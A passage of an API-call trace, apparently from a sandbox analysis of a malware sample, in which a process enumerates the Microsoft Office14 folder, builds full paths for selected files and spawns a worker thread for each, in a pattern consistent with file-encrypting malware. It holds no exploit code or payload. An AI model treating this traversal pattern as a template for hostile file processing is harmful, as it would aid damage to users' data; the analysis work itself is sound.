returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" [0049.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45e638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0 [0049.099] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0049.099] wcscmp (_String1="DRILLDWN.DLL", _String2=".") returned 1 [0049.099] wcscmp (_String1="DRILLDWN.DLL", _String2="..") returned 1 [0049.099] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3357b00, ftCreationTime.dwHighDateTime=0x1cba075, ftLastAccessTime.dwLowDateTime=0xcfdb94e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa3357b00, ftLastWriteTime.dwHighDateTime=0x1cba075, nFileSizeHigh=0x0, nFileSizeLow=0x36160, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1 [0049.099] wcscmp (_String1="DWGCNV.DLL", _String2=".") returned 1 [0049.099] wcscmp (_String1="DWGCNV.DLL", _String2="..") returned 1 [0049.099] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd00b3060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x8f3d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1 [0049.099] wcscmp (_String1="DWGDP.DLL", _String2=".") returned 1 [0049.099] wcscmp (_String1="DWGDP.DLL", _String2="..") returned 1 [0049.099] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f6a020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x30968, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITOR.EXE", cAlternateFileName="")) returned 1 [0049.099] wcscmp (_String1="EDITOR.EXE", _String2=".") returned 1 [0049.100] wcscmp (_String1="EDITOR.EXE", _String2="..") returned 1 [0049.100] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f90180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xad88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITORS.DLL", cAlternateFileName="")) returned 1 [0049.100] wcscmp (_String1="EDITORS.DLL", _String2=".") returned 1 [0049.100] wcscmp (_String1="EDITORS.DLL", _String2="..") returned 1 [0049.100] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2fdc440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMENTS.DLL", cAlternateFileName="")) returned 1 [0049.100] wcscmp (_String1="ELEMENTS.DLL", _String2=".") returned 1 [0049.100] wcscmp (_String1="ELEMENTS.DLL", _String2="..") returned 1 [0049.100] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd30c0c80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x237a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMUTIL.DLL", cAlternateFileName="")) returned 1 [0049.100] wcscmp (_String1="ELEMUTIL.DLL", _String2=".") returned 1 [0049.100] wcscmp (_String1="ELEMUTIL.DLL", _String2="..") returned 1 [0049.100] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1 [0049.100] wcscmp (_String1="EMABLT32.DLL", _String2=".") returned 1 [0049.100] wcscmp (_String1="EMABLT32.DLL", _String2="..") returned 1 [0049.100] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x60903850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x206fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1 [0049.100] wcscmp (_String1="EMSMDB32.DLL", _String2=".") returned 1 [0049.100] wcscmp (_String1="EMSMDB32.DLL", _String2="..") returned 1 [0049.100] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGDIC.DAT", cAlternateFileName="")) returned 1 [0049.100] wcscmp (_String1="ENGDIC.DAT", _String2=".") returned 1 [0049.100] wcscmp (_String1="ENGDIC.DAT", _String2="..") returned 1 [0049.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x4ef090 [0049.100] wcscpy (in: _Dest=0x4ef090, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.100] wcscat (in: _Dest=0x4ef090, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.100] wcscat (in: _Dest=0x4ef090, _Source="ENGDIC.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" [0049.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ef090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4 [0049.101] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x8578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGIDX.DAT", cAlternateFileName="")) returned 1 [0049.101] wcscmp (_String1="ENGIDX.DAT", _String2=".") returned 1 [0049.101] wcscmp (_String1="ENGIDX.DAT", _String2="..") returned 1 [0049.102] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x4ef108 [0049.102] wcscpy (in: _Dest=0x4ef108, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.102] wcscat (in: _Dest=0x4ef108, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.102] wcscat (in: _Dest=0x4ef108, _Source="ENGIDX.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" [0049.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ef108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8 [0049.671] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x4c22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGLISH.LNG", cAlternateFileName="")) returned 1 [0049.671] wcscmp (_String1="ENGLISH.LNG", _String2=".") returned 1 [0049.671] wcscmp (_String1="ENGLISH.LNG", _String2="..") returned 1 [0049.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43bf00 [0049.671] wcscpy (in: _Dest=0x43bf00, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.671] wcscat (in: _Dest=0x43bf00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.671] wcscat (in: _Dest=0x43bf00, _Source="ENGLISH.LNG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" [0065.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43bf00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe0 [0065.669] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xf380, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="ENTITY~2.DLL")) returned 1 [0065.669] wcscmp (_String1="EntityDataHandler.dll", _String2=".") returned 1 [0065.669] wcscmp (_String1="EntityDataHandler.dll", _String2="..") returned 1 [0065.669] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x41980, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0065.669] wcscmp (_String1="EntityPicker.dll", _String2=".") returned 1 [0065.669] wcscmp (_String1="EntityPicker.dll", _String2="..") returned 1 [0065.669] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6094fb10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x35980, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1 [0065.669] wcscmp (_String1="ENVELOPE.DLL", _String2=".") returned 1 [0065.669] wcscmp (_String1="ENVELOPE.DLL", _String2="..") returned 1 [0065.669] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x81e8ee40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERXIMP.ADD", cAlternateFileName="")) returned 1 [0065.669] wcscmp (_String1="ERXIMP.ADD", _String2=".") returned 1 [0065.669] wcscmp (_String1="ERXIMP.ADD", _String2="..") returned 1 [0065.669] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x418f50 [0065.669] wcscpy (in: _Dest=0x418f50, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.669] wcscat (in: _Dest=0x418f50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.669] wcscat (in: _Dest=0x418f50, _Source="ERXIMP.ADD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" [0065.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15dc [0065.671] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cdf900, ftCreationTime.dwHighDateTime=0x1cac26b, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52cdf900, ftLastWriteTime.dwHighDateTime=0x1cac26b, nFileSizeHigh=0x0, nFileSizeLow=0x1aecb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1 [0065.671] wcscmp (_String1="EXCEL.EXE", _String2=".") returned 1 [0065.671] wcscmp (_String1="EXCEL.EXE", _String2="..") returned 1 [0065.671] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e14a00, ftCreationTime.dwHighDateTime=0x1cac1f0, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8e14a00, ftLastWriteTime.dwHighDateTime=0x1cac1f0, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="EXCELE~1.MAN")) returned 1 [0065.671] wcscmp (_String1="excel.exe.manifest", _String2=".") returned 1 [0065.671] wcscmp (_String1="excel.exe.manifest", _String2="..") returned 1 [0065.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f8e60 [0065.671] wcscpy (in: _Dest=0x96f8e60, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.671] wcscat (in: _Dest=0x96f8e60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.671] wcscat (in: _Dest=0x96f8e60, _Source="excel.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" [0065.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f8e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e0 [0065.672] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64d0300, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd64d0300, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x17d6360, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1 [0065.672] wcscmp (_String1="excelcnv.exe", _String2=".") returned 1 [0065.672] wcscmp (_String1="excelcnv.exe", _String2="..") returned 1 [0065.672] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51bd600, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd51bd600, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="EXCELC~1.DLL")) returned 1 [0065.672] wcscmp (_String1="excelcnvpxy.dll", _String2=".") returned 1 [0065.672] wcscmp (_String1="excelcnvpxy.dll", _String2="..") returned 1 [0065.672] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x522443b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x1372c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRM.XML", cAlternateFileName="")) returned 1 [0065.672] wcscmp (_String1="EXLIRM.XML", _String2=".") returned 1 [0065.672] wcscmp (_String1="EXLIRM.XML", _String2="..") returned 1 [0065.672] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x418d70 [0065.672] wcscpy (in: _Dest=0x418d70, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.673] wcscat (in: _Dest=0x418d70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.673] wcscat (in: _Dest=0x418d70, _Source="EXLIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" [0065.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e4 [0065.674] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1 [0065.674] wcscmp (_String1="EXLIRMV.XML", _String2=".") returned 1 [0065.674] wcscmp (_String1="EXLIRMV.XML", _String2="..") returned 1 [0065.674] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4187d0 [0065.674] wcscpy (in: _Dest=0x4187d0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.674] wcscat (in: _Dest=0x4187d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.674] wcscat (in: _Dest=0x4187d0, _Source="EXLIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" [0065.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4187d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e8 [0065.675] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x73f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1 [0065.675] wcscmp (_String1="EXSEC32.DLL", _String2=".") returned 1 [0065.675] wcscmp (_String1="EXSEC32.DLL", _String2="..") returned 1 [0065.675] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd3159200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x533a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTRACT.DLL", cAlternateFileName="")) returned 1 [0065.675] wcscmp (_String1="EXTRACT.DLL", _String2=".") returned 1 [0065.675] wcscmp (_String1="EXTRACT.DLL", _String2="..") returned 1 [0065.675] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd01e3b60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x18bf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1 [0065.675] wcscmp (_String1="FACILITY.DLL", _String2=".") returned 1 [0065.675] wcscmp (_String1="FACILITY.DLL", _String2="..") returned 1 [0065.675] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.DLL", cAlternateFileName="")) returned 1 [0065.675] wcscmp (_String1="FORM.DLL", _String2=".") returned 1 [0065.675] wcscmp (_String1="FORM.DLL", _String2="..") returned 1 [0065.675] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0065.676] wcscmp (_String1="FORMS", _String2=".") returned 1 [0065.676] wcscmp (_String1="FORMS", _String2="..") returned 1 [0065.676] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x43c5c0 [0065.676] wcscpy (in: _Dest=0x43c5c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.676] wcscat (in: _Dest=0x43c5c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.676] wcscat (in: _Dest=0x43c5c0, _Source="FORMS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" [0065.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43c5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15ec [0065.677] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1 [0065.677] wcscmp (_String1="FRENCH.LNG", _String2=".") returned 1 [0065.677] 